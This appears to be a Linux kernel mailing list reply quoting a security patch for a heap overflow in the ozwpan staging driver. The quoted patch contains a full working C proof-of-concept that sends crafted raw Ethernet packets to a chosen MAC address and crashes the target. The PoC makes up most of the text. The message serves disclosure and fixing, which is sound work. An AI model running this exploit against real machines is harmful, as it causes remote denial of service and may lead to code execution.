Re: [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow

[Greg Kroah-Hartman <gregkh@linuxfoundation.org>]

On Wed, May 13, 2015 at 08:58:17PM +0200, Jason A. Donenfeld wrote:
> Since elt->length is a u8, we can make this variable a u8. Then we can
> do proper bounds checking more easily. Without this, a potentially
> negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
> resulting in a remotely exploitable heap overflow with network
> supplied data.
> 
> This could result in remote code execution. A PoC which obtains DoS
> follows below. It requires the ozprotocol.h file from this module.
> 
> =-=-=-=-=-=
> 
>  #include <arpa/inet.h>
>  #include <linux/if_packet.h>
>  #include <net/if.h>
>  #include <netinet/ether.h>
>  #include <stdio.h>
>  #include <string.h>
>  #include <stdlib.h>
>  #include <endian.h>
>  #include <sys/ioctl.h>
>  #include <sys/socket.h>
> 
>  #define u8 uint8_t
>  #define u16 uint16_t
>  #define u32 uint32_t
>  #define __packed __attribute__((__packed__))
>  #include "ozprotocol.h"
> 
> static int hex2num(char c)
> {
> 	if (c >= '0' && c <= '9')
> 		return c - '0';
> 	if (c >= 'a' && c <= 'f')
> 		return c - 'a' + 10;
> 	if (c >= 'A' && c <= 'F')
> 		return c - 'A' + 10;
> 	return -1;
> }
> static int hwaddr_aton(const char *txt, uint8_t *addr)
> {
> 	int i;
> 	for (i = 0; i < 6; i++) {
> 		int a, b;
> 		a = hex2num(*txt++);
> 		if (a < 0)
> 			return -1;
> 		b = hex2num(*txt++);
> 		if (b < 0)
> 			return -1;
> 		*addr++ = (a << 4) | b;
> 		if (i < 5 && *txt++ != ':')
> 			return -1;
> 	}
> 	return 0;
> }
> 
> int main(int argc, char *argv[])
> {
> 	if (argc < 3) {
> 		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
> 		return 1;
> 	}
> 
> 	uint8_t dest_mac[6];
> 	if (hwaddr_aton(argv[2], dest_mac)) {
> 		fprintf(stderr, "Invalid mac address.\n");
> 		return 1;
> 	}
> 
> 	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
> 	if (sockfd < 0) {
> 		perror("socket");
> 		return 1;
> 	}
> 
> 	struct ifreq if_idx;
> 	int interface_index;
> 	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
> 	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
> 		perror("SIOCGIFINDEX");
> 		return 1;
> 	}
> 	interface_index = if_idx.ifr_ifindex;
> 	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
> 		perror("SIOCGIFHWADDR");
> 		return 1;
> 	}
> 	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
> 
> 	struct {
> 		struct ether_header ether_header;
> 		struct oz_hdr oz_hdr;
> 		struct oz_elt oz_elt;
> 		struct oz_elt_connect_req oz_elt_connect_req;
> 	} __packed connect_packet = {
> 		.ether_header = {
> 			.ether_type = htons(OZ_ETHERTYPE),
> 			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
> 			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
> 		},
> 		.oz_hdr = {
> 			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
> 			.last_pkt_num = 0,
> 			.pkt_num = htole32(0)
> 		},
> 		.oz_elt = {
> 			.type = OZ_ELT_CONNECT_REQ,
> 			.length = sizeof(struct oz_elt_connect_req)
> 		},
> 		.oz_elt_connect_req = {
> 			.mode = 0,
> 			.resv1 = {0},
> 			.pd_info = 0,
> 			.session_id = 0,
> 			.presleep = 35,
> 			.ms_isoc_latency = 0,
> 			.host_vendor = 0,
> 			.keep_alive = 0,
> 			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
> 			.max_len_div16 = 0,
> 			.ms_per_isoc = 0,
> 			.up_audio_buf = 0,
> 			.ms_per_elt = 0
> 		}
> 	};
> 
> 	struct {
> 		struct ether_header ether_header;
> 		struct oz_hdr oz_hdr;
> 		struct oz_elt oz_elt;
> 		struct oz_get_desc_rsp oz_get_desc_rsp;
> 	} __packed pwn_packet = {
> 		.ether_header = {
> 			.ether_type = htons(OZ_ETHERTYPE),
> 			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
> 			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
> 		},
> 		.oz_hdr = {
> 			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
> 			.last_pkt_num = 0,
> 			.pkt_num = htole32(1)
> 		},
> 		.oz_elt = {
> 			.type = OZ_ELT_APP_DATA,
> 			.length = sizeof(struct oz_get_desc_rsp) - 2
> 		},
> 		.oz_get_desc_rsp = {
> 			.app_id = OZ_APPID_USB,
> 			.elt_seq_num = 0,
> 			.type = OZ_GET_DESC_RSP,
> 			.req_id = 0,
> 			.offset = htole16(0),
> 			.total_size = htole16(0),
> 			.rcode = 0,
> 			.data = {0}
> 		}
> 	};
> 
> 	struct sockaddr_ll socket_address = {
> 		.sll_ifindex = interface_index,
> 		.sll_halen = ETH_ALEN,
> 		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
> 	};
> 
> 	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
> 		perror("sendto");
> 		return 1;
> 	}
> 	usleep(300000);
> 	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
> 		perror("sendto");
> 		return 1;
> 	}
> 	return 0;
> }
> 
> Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
> ---
>  drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
>  1 file changed, 3 insertions(+), 1 deletion(-)
> 
> diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
> index d434d8c..cd6c63e 100644
> --- a/drivers/staging/ozwpan/ozusbsvc1.c
> +++ b/drivers/staging/ozwpan/ozusbsvc1.c
> @@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
>  	case OZ_GET_DESC_RSP: {
>  			struct oz_get_desc_rsp *body =
>  				(struct oz_get_desc_rsp *)usb_hdr;
> -			int data_len = elt->length -
> +			u8 data_len = elt->length -
>  					sizeof(struct oz_get_desc_rsp) + 1;
> +			if (data_len > elt->length)
> +				break;
>  			u16 offs = le16_to_cpu(get_unaligned(&body->offset));
>  			u16 total_size =
>  				le16_to_cpu(get_unaligned(&body->total_size));

This patch adds a build warning.  Please fix it up and resend the
series.

thanks,

greg k-h